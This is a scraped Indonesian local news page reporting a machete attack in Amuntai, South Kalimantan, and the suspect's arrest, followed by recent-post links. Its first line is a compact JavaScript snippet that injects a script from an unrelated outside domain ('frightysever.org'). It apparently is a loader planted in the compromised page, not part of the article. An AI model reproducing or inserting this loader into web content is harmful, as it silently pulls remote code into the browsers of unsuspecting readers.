(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Tersinggung Ditegur Bawa Sebilah Parang, Bojes Nekat Bacok Riyanoor!


AMUNTAI, Entah apa yang menghinggapi Ardi alias Bojes (33), warga Jalan Temanggung Jalil, Gang Wildan, RT 04 Kelurahan Antasari, Kecamatan Amuntai Tengah, Kabupaten Hulu Sungai Utara (HSU). Dia kemudian nekat membacok Riyanoor (34), lantaran tak terima ditegur saat membawa sebilah parang yang hendak dikembalikan ke rumah sepupunya.

Alhasil, akibat dari penyerangan ini korban yang diketahui merupakan warga Jalan Pangeran Antasari RT. 02 Kecamatan Amuntai Tengah, menderita luka bacokan di bagian kepala dan lengan.

Atas kejadian tersebut, Riyanoor melaporkannya ke Kepolisian Sektor Amuntai Kota.

Kapolsek Amuntai Kota Iptu Syaifullah kepada Kanalkalimantan.com Jumat (13/9) petang membenarkan adanya pelaporan kasus tersebut. Berdasarkan hasil penyelidikan Unit Jatanras Polres HSU bersama Reskrim Polsek Amuntai Kota, kemudian melakukan penangkapan terhadap Bojes pada Kamis (12/9) sekitar pukul 21.00 Wita di Jalan Lorong Grilya, RT 09, Kelurahan Paliwara, Kecamatan Amuntai Tengah.

Dari informasi, kejadian bermula pada Selasa (10/9) sekitar 19.45 Wita. Ketika itu korban Riyanoor tiba di Gang Wildan dan melihat Bojes berjalan sambil membawa parang. Seketika, Riyanoor menegur tersangka Bojes. “Handak nimpas siapa (mau membacok siapa)?”

Seketika itu, Bojes langsung menyerang korban. Tersangka menyerang mengunakan parang tersebut sehingga mengenai bagian kepala dan lengan tangan sebelah kiri Riyanoor.

Dikatakan Syaifullah kejadian ini terjadi lantaran tersangka merasa tersinggung atas teguran dan pertanyataan korban. Sehingga membuat tersangka nekat menyerang korban.

“Ketika itu tersangka mau mengembalikan parang ke rumah sepupunya. Datanglah korban mendekati tersangka dan berkata. “Menantang akukah?”

Tersangka pun emosi dan langsung mengayunkan parang ke tubuh korban. Namun sempat ditangkis oleh korban menggunakan tangan kiri. “Dan tersangka membacok lebih dari dua kali hingga korban mengalami luka robek di dahi sebelah kiri dan tangan kiri bawah siku,” jelas Kapolsek Amuntai Kota ini.

Pelaku pun mengakui telah melakukan tindakan penganiayaan. Kini Bojes dan barang Bukti dibawa ke Polres HSU guna proses lebih lanjut. Bersamaan dengan tersangka ikut diamankan sejumlah barang bukti di antaranya 1 parang panjang 50 cm dengan gagang terbuat dari kayu yang di bungkus dengan karet ban warna hitam, 1 lembar celana warna coklat, dan 1 kaos warna hitam.

Atas perbuatannya tersebut saat ini tersangka terpaksa digelandang ke Mapolres HSU untuk mempertanggungjawabkan perbuatannya.(dew)

Reporter : Dew
Editor : chell

 


Desy Arfianty

Recent Posts

Lensa Foto Kegiatan DPRD Banjarmasin Bulan April 2023

1. RAPAT EVALUASI: Ketua Komisi I DPRD Banjarmasin Faisal Hariyadi memimpin Rapat evaluasi Laporan Pertanggungjawaban… Read More

4 menit ago

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

11 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

14 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

14 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

16 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

18 jam ago

This website uses cookies.